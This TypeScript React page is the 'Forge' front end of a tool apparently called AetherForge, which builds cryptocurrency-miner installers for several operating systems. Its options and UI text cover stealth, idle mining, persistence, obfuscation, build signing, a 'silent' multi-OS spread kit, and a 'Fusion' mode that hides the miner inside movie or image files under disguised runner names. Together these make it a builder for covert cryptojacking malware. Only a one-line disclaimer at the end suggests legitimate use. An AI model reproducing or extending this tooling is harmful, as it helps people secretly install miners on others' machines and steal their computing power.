import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { Link, useNavigate, useSearchParams } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
import {
forgeDefaultsFromServerSmart,
applySmartForgeDefaults,
RECOMMENDED_DEFAULTS_BLURB,
suggestWorkerName,
processNameForWorker,
} from '../help/forgeSmartDefaults';
import { getSetupStatus } from '../help/setupStatus';
import SetupBanner from '../components/SetupBanner';
import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
import {
applyDeliverableType,
deriveDeliverableType,
deliverableSummary,
installBaseOptionsForTarget,
normalizeForgeForm,
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
fusionTitleFromFilename,
fusionFileTypeLabel,
disguisedWindowsRunnerName,
disguisedDisplayName,
defaultRunnerName,
defaultEmbeddedName,
} from '../help/fusionMedia';
import './Pages.css';
export function formatBytes(n: number): string {
if (n < 1024) return `${n} B`;
const units = ['KB', 'MB', 'GB'];
let v = n / 1024;
for (const u of units) {
if (v < 1024) return `${v.toFixed(2)} ${u}`;
v /= 1024;
}
return `${v.toFixed(2)} TB`;
}
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
{ label: 'Almost done...', pct: 98, minMs: 15000 },
];
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
if (!building) return null;
return (
⚙
{stage || 'Initializing...'}
{Math.round(progress)}%
);
}
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
function loadSimpleMode(): boolean {
try {
const v = localStorage.getItem(FORGE_MODE_KEY);
if (v === 'advanced') return false;
} catch {
/* ignore */
}
return true;
}
export default function BuilderPage() {
const navigate = useNavigate();
const [searchParams, setSearchParams] = useSearchParams();
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
const forgeStageTimerRef = useRef | null>(null);
const [form, setForm] = useState(null);
const [building, setBuilding] = useState(false);
const [error, setError] = useState('');
const [lastBuild, setLastBuild] = useState(null);
const [recentBuilds, setRecentBuilds] = useState([]);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState(null);
const [fusionBatchFiles, setFusionBatchFiles] = useState([]);
const [batchJob, setBatchJob] = useState<{
total: number;
current: number;
fileName: string;
phase: string;
percent: number;
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
} | null>(null);
const [fusionEstimate, setFusionEstimate] = useState(null);
const [estimateLoading, setEstimateLoading] = useState(false);
// Set to true to request cancellation between batch iterations
const batchCancelRef = useRef(false);
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
const cancelTokenRef = useRef('');
const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState(null);
const [calibrateConfig, setCalibrateConfig] = useState(null);
const [listenPort, setListenPort] = useState(8989);
const [showBlueprintOffer, setShowBlueprintOffer] = useState(false);
const forgedThisSessionRef = useRef(false);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
// Drive simulated stage progress while a single build is running
useEffect(() => {
if (!building || batchJob) {
endForge();
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
return;
}
const startMs = Date.now();
startForge();
let stageIdx = 0;
const advance = () => {
const elapsed = Date.now() - startMs;
// Find the furthest stage whose minMs has been reached
let next = 0;
for (let i = 0; i < FORGE_STAGES.length; i++) {
if (elapsed >= FORGE_STAGES[i].minMs) next = i;
else break;
}
const s = FORGE_STAGES[next];
// Smoothly interpolate within this stage toward the next stage's target %
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
const stageElapsed = elapsed - s.minMs;
const stageDur = nextMs - s.minMs;
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
const pct = s.pct + (nextPct - s.pct) * frac;
if (next !== stageIdx) stageIdx = next;
setStage(s.label, Math.min(98, pct));
forgeStageTimerRef.current = setTimeout(advance, 250);
};
advance();
return () => {
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
};
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [building, batchJob]);
const setForgeMode = (simple: boolean) => {
setSimpleMode(simple);
try {
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
} catch {
/* ignore */
}
};
const refreshEndpointInfo = async () => {
setRefreshingEndpoints(true);
try {
const [config, info] = await Promise.all([api.getConfig(), api.getServerInfo()]);
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
return info;
} finally {
setRefreshingEndpoints(false);
}
};
// Blueprint state
const [blueprints, setBlueprints] = useState([]);
const [showBlueprints, setShowBlueprints] = useState(false);
const [blueprintName, setBlueprintName] = useState('');
const [blueprintMsg, setBlueprintMsg] = useState('');
const [loadingBlueprints, setLoadingBlueprints] = useState(false);
const [compareBlueprint, setCompareBlueprint] = useState | null>(null);
const fileInputRef = useRef(null);
useEffect(() => {
Promise.all([
api.getConfig(),
api.getServerInfo().catch(() => null),
api.listBuilds().catch(() => []),
])
.then(([config, info, builds]) => {
setCalibrateConfig(config);
if (info) {
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
} else {
setListenPort(config.port || 8989);
}
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
})
.catch((err) => {
console.error(err);
setError('Failed to load server config — is the control server running?');
})
.finally(() => setLoadingDefaults(false));
}, []);
const loadRecentBuilds = async () => {
try {
const builds = await api.listBuilds();
setRecentBuilds(builds);
} catch (err) {
console.error(err);
}
};
// Handle ?reforge= links from Build Manager page
useEffect(() => {
const reforgeId = searchParams.get('reforge');
if (!reforgeId || recentBuilds.length === 0) return;
const match = recentBuilds.find((b) => b.id === reforgeId);
if (match) {
reForgeFromBuild(match);
setSearchParams({}, { replace: true });
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [searchParams, recentBuilds]);
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
setLastBuild(result);
loadRecentBuilds();
if (!forgedThisSessionRef.current) {
forgedThisSessionRef.current = true;
setShowBlueprintOffer(true);
}
};
const handleForgeNextWorker = () => {
if (!form) return;
const name = suggestWorkerName([
...recentBuilds,
{ worker_name: form.worker_name } as BuildRecord,
]);
setForm({
...form,
worker_name: name,
process_name: processNameForWorker(name),
});
setLastBuild(null);
setError('');
};
const handleSaveFleetBlueprint = async () => {
if (!form) return;
const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default');
if (!name || !name.trim()) return;
setBlueprintMsg('');
try {
const result = await api.saveBlueprint(name.trim(), form);
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
setShowBlueprintOffer(false);
setTimeout(() => setBlueprintMsg(''), 4000);
} catch (err: unknown) {
setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`);
}
};
// Blueprint: save current form as a named blueprint
const handleSaveBlueprint = async () => {
if (!form) return;
const name = prompt('Enter a name for this blueprint:', form.worker_name || 'my-miner-config');
if (!name || !name.trim()) return;
setBlueprintMsg('');
try {
const result = await api.saveBlueprint(name.trim(), form);
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to save: ${err.message}`);
}
};
// Blueprint: load blueprints list and show picker
const handleLoadBlueprint = async () => {
try {
setLoadingBlueprints(true);
const list = await api.listBlueprints();
setBlueprints(list);
setShowBlueprints(true);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to load blueprints: ${err.message}`);
} finally {
setLoadingBlueprints(false);
}
};
// Blueprint: apply a selected blueprint to the form
const handleApplyBlueprint = async (name: string) => {
try {
const data = await api.getBlueprint(name);
setCompareBlueprint(data as Record);
setBlueprintName(name);
// Merge loaded data into form, preserving any fields not in the blueprint
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setShowBlueprints(false);
setBlueprintMsg(`✅ Blueprint "${name}" loaded`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to load blueprint: ${err.message}`);
}
};
const reForgeFromBuild = async (build: BuildRecord) => {
if (!form) return;
const merged = buildRequestFromRecord(build, form as unknown as Record) as unknown as BuildRequest;
setForm(merged);
setError('');
setLastBuild(null);
// Fusion re-forge requires the payload file — prep files are not kept on the
// server after a build completes (M15). Prompt the user to re-upload first.
if (merged.fusion_enabled && !fusionPrepFile) {
setError(
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
);
return;
}
const checks = runForgePreflight(merged, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Re-forge preflight failed — adjust settings and forge manually.');
return;
}
const reforgeToken = crypto.randomUUID();
cancelTokenRef.current = reforgeToken;
setBuilding(true);
try {
const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile);
if (!result.success) throw new Error(result.error || 'Build failed');
await finishForgeSuccess(result);
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
} catch (err: any) {
setError(err.message || 'Re-forge failed');
} finally {
setBuilding(false);
}
};
// Blueprint: delete a blueprint
const handleDeleteBlueprint = async (name: string) => {
if (!confirm(`Delete blueprint "${name}"?`)) return;
try {
await api.deleteBlueprint(name);
setBlueprints((prev) => prev.filter((b) => b.name !== name));
} catch (err: any) {
setBlueprintMsg(`❌ Failed to delete: ${err.message}`);
}
};
// Blueprint: import from a local .json file
const handleImportBlueprintFile = () => {
fileInputRef.current?.click();
};
const handleFileSelected = (e: React.ChangeEvent) => {
const file = e.target.files?.[0];
if (!file) return;
const reader = new FileReader();
reader.onload = (evt) => {
try {
const data = JSON.parse(evt.target?.result as string) as Record;
setCompareBlueprint(data);
setBlueprintName(file.name);
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch {
setBlueprintMsg('❌ Invalid JSON file');
}
};
reader.readAsText(file);
// Reset input so same file can be re-selected
e.target.value = '';
};
// Blueprint: export current form as a downloadable .json file
const handleExportBlueprintFile = () => {
if (!form) return;
const blob = new Blob([JSON.stringify(form, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${form.worker_name || 'miner-config'}-blueprint.json`;
a.click();
URL.revokeObjectURL(url);
};
const applyFusionFileSelection = (f: File | null) => {
setFusionPrepFile(f);
if (!f) return;
const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name);
// Images in embedded mode often blow up compile size; paired ZIP is reliable for any size.
const preferPaired = isImage || f.size > 500 * 1024 * 1024;
setForm((prev) => {
if (!prev) return prev;
return normalizeForgeForm({
...prev,
fusion_payload_kind: fusionPayloadKind(f),
fusion_media_base_name: f.name,
fusion_output_name: defaultRunnerName(f.name),
...(preferPaired && prev.fusion_media_mode === 'embedded'
? { fusion_media_mode: 'paired' as const }
: {}),
...(!prev.fusion_enabled
? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' }
: {}),
});
});
};
// Kill the current server-side compile via the cancel API, then stop the batch loop.
const handleKillBuild = useCallback(async () => {
const tok = cancelTokenRef.current;
if (tok) {
try { await api.cancelBuild(tok); } catch { /* ignore */ }
}
batchCancelRef.current = true;
setBuilding(false);
}, []);
const handleBatchCancel = () => {
batchCancelRef.current = true;
// Also kill the currently-running server compile
const tok = cancelTokenRef.current;
if (tok) {
api.cancelBuild(tok).catch(() => {});
}
};
const handleBatchForge = async () => {
if (!form || fusionBatchFiles.length === 0) return;
setError('');
setLastBuild(null);
batchCancelRef.current = false;
setBuilding(true);
const total = fusionBatchFiles.length;
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
let ok = 0;
try {
for (let i = 0; i < total; i++) {
if (batchCancelRef.current) {
setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j));
setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`);
setTimeout(() => setBlueprintMsg(''), 5000);
break;
}
const file = fusionBatchFiles[i];
const title = fusionTitleFromFilename(file.name);
const pct = Math.round((i / total) * 100);
setBatchJob((j) =>
j
? {
...j,
current: i + 1,
fileName: file.name,
phase: 'building',
percent: pct,
log: j.log.map((row, idx) =>
idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row
),
}
: j
);
const req = normalizeForgeForm({
...form,
target_os: 'universal',
fusion_enabled: true,
spread_kit: false,
fusion_payload_kind: fusionPayloadKind(file),
fusion_media_base_name: file.name,
fusion_export_subdir: title,
fusion_output_name: defaultRunnerName(file.name),
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
});
const checks = runForgePreflight(req, true);
if (preflightHasErrors(checks)) {
throw new Error(`Preflight failed for ${file.name}`);
}
const batchToken = crypto.randomUUID();
cancelTokenRef.current = batchToken;
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
cancelTokenRef.current = '';
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
setBatchJob((j) =>
j
? {
...j,
phase: 'downloading',
log: j.log.map((row, idx) =>
idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row
),
}
: j
);
await finishForgeSuccess(result);
ok++;
setBatchJob((j) =>
j
? {
...j,
log: j.log.map((row, idx) =>
idx === i
? {
...row,
status: 'ok',
detail: result.fusion_export_dir
? `Saved → ${result.fusion_export_dir}`
: 'ZIP downloaded',
}
: row
),
}
: j
);
}
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
setTimeout(() => setBlueprintMsg(''), 6000);
setFusionBatchFiles([]);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Batch forge failed';
setError(msg);
setBatchJob((j) =>
j
? {
...j,
phase: 'error',
log: j.log.map((row) =>
row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row
),
}
: j
);
} finally {
setBuilding(false);
setTimeout(() => setBatchJob(null), 8000);
}
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!form) return;
setError('');
setLastBuild(null);
const normalized = normalizeForgeForm(form);
if (normalized !== form) {
setForm(normalized);
}
const checks = runForgePreflight(normalized, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Preflight failed — fix errors in the checklist below before forging.');
return;
}
const cancelToken = crypto.randomUUID();
cancelTokenRef.current = cancelToken;
setBuilding(true);
try {
const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile);
if (!result.success) {
throw new Error(result.error || 'Build failed');
}
await finishForgeSuccess(result);
} catch (err: any) {
if (err.message !== 'build cancelled') {
setError(err.message || 'Build failed');
}
} finally {
cancelTokenRef.current = '';
setBuilding(false);
}
};
const applyRecommendedDefaults = async () => {
if (!form) return;
try {
const [config, info, builds] = await Promise.all([
api.getConfig(),
api.getServerInfo(),
api.listBuilds().catch(() => [] as BuildRecord[]),
]);
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
const kind = form ? deriveDeliverableType(form) : 'single';
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
setForm(applyDeliverableType(merged, kind));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
} catch (err: unknown) {
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
}
};
const updateField = (field: keyof BuildRequest, value: unknown) => {
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
};
const setDeliverableType = (type: ForgeDeliverable) => {
setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev));
if (type !== 'fusion') {
setFusionPrepFile(null);
setFusionBatchFiles([]);
setFusionEstimate(null);
}
};
const deliverableType = form ? deriveDeliverableType(form) : 'single';
const installBaseOptions = installBaseOptionsForTarget(form?.target_os);
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
const liveNotices = useMemo(
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const preflightChecks = useMemo(
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
const blueprintChanges = useMemo(() => {
if (!compareBlueprint || !form) return [];
return blueprintDiff(compareBlueprint, form as unknown as Record);
}, [compareBlueprint, form]);
const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
const fusionMediaMode = form?.fusion_media_mode || 'paired';
useEffect(() => {
if (!form?.fusion_enabled || !fusionPrepFile) {
setFusionEstimate(null);
setEstimateError('');
return;
}
let cancelled = false;
const timer = window.setTimeout(() => {
setEstimateLoading(true);
setEstimateError('');
api.estimateFusion(form, fusionPrepFile)
.then((est) => {
if (!cancelled) setFusionEstimate(est);
})
.catch((err: Error) => {
if (!cancelled) {
setFusionEstimate(null);
setEstimateError(err.message || 'Estimate failed');
}
})
.finally(() => {
if (!cancelled) setEstimateLoading(false);
});
}, 350);
return () => {
cancelled = true;
window.clearTimeout(timer);
};
}, [
form?.fusion_enabled,
form?.fusion_output_name,
form?.output_dir,
form?.obfuscate,
form?.sign_build,
form?.worker_name,
fusionPrepFile,
]);
// Cancel any in-progress server-side build when the component unmounts
// (e.g. user navigates away mid-forge). This closes the M14 UI desync where
// the server kept compiling after the Forge page was left.
useEffect(() => {
return () => {
const tok = cancelTokenRef.current;
if (tok) {
api.cancelBuild(tok).catch(() => {});
cancelTokenRef.current = '';
}
batchCancelRef.current = true;
};
}, []);
if (loadingDefaults) {
return (
INSTALLER FORGE
The Forge
Loading forge defaults from server...
);
}
if (!form) {
return (
INSTALLER FORGE
The Forge
{error || 'Failed to load forge defaults from server.'}
);
}
const installPreview = previewInstallPath({
install_base: form.install_base,
install_custom_base: form.install_custom_base,
install_relative_path: form.install_relative_path,
worker_name: form.worker_name,
process_name: form.process_name,
target_os: form.target_os,
});
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
const setupStatus = getSetupStatus(calibrateConfig);
return (
{/* Hidden file input for importing blueprint .json files */}
INSTALLER FORGE
The Forge
{simpleMode
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
setForgeMode(true)}
title={FIELD_HELP.forge_simple_mode}
>
Simple
setForgeMode(false)}
>
Advanced
Recent Builds
💾 Save Blueprint
📂 Load Blueprint
⬇️ Export .json
📥 Import .json
{/* Blueprint status message */}
{blueprintMsg && (
{blueprintMsg}
)}
{compareBlueprint && blueprintChanges.length > 0 && (
Blueprint diff — {blueprintName || 'loaded blueprint'}
{
setCompareBlueprint(null);
setBlueprintName('');
}}
>
Dismiss
Fields that differ from the loaded blueprint (your previous form values were kept where they conflict).
{blueprintChanges.map((row) => (
{row.key}
{' — '}
{row.kind === 'added' && kept from form }
{row.kind === 'removed' && not in current form }
{row.kind === 'changed' && (
blueprint → current
)}
))}
)}
{/* Blueprint picker panel */}
{showBlueprints && (
Saved Blueprints
setShowBlueprints(false)}>Close
{loadingBlueprints ? (
Loading blueprints...
) : blueprints.length === 0 ? (
No saved blueprints yet. Configure the form and click "Save Blueprint".
) : (
{blueprints.map((bp) => (
{bp.name}
{(bp.size / 1024).toFixed(1)} KB
{new Date(bp.created_at).toLocaleString()}
handleApplyBlueprint(bp.name)}>
Load
handleDeleteBlueprint(bp.name)}>
Delete
))}
)}
)}
Quick links
Full visual guide with pipeline, Fusion, AI, and troubleshooting.
Open Field Guide
{SETUP_CHEATSHEET.map((item) => (
))}
{simpleMode ? (
RECOMMENDED DEFAULTS — AUTO-SELECTED
{RECOMMENDED_DEFAULTS_BLURB}
void applyRecommendedDefaults()}>
Reset to recommended defaults
) : (
FORGE RULES — READ THIS ONCE
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
⛏ Baked into installer
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
🖥 Server folder only
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
🔒 Auto-coupled
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
✕ Cannot forge until fixed
Preflight errors below must be resolved — warnings let you forge but double-check first.
)}
{liveNotices.length > 0 && (
ACTIVE RULES
{liveNotices.map((n) => (
{n}
))}
)}
{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}
{simpleMode
? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.'
: 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}
{lastBuild?.success && (
✓
{lastBuild.file_name || 'Build ready'}
{lastBuild.file_size != null && (
{((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB
)}
{lastBuild.fusion_enabled && FUSION }
{lastBuild.obfuscated && GARBLED }
{lastBuild.signed && SIGNED }
{lastBuild.download_url && lastBuild.file_name && (
↓ Download
)}
{lastBuild.build_id &&
lastBuild.extra_files?.map((f) =>
f.file_name ? (
↓ {f.file_name}
) : null
)}
Forge next worker
{showBlueprintOffer && (
Save as fleet blueprint
)}
navigate('/builds')}
>
View in Build Manager →
)}
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
);
}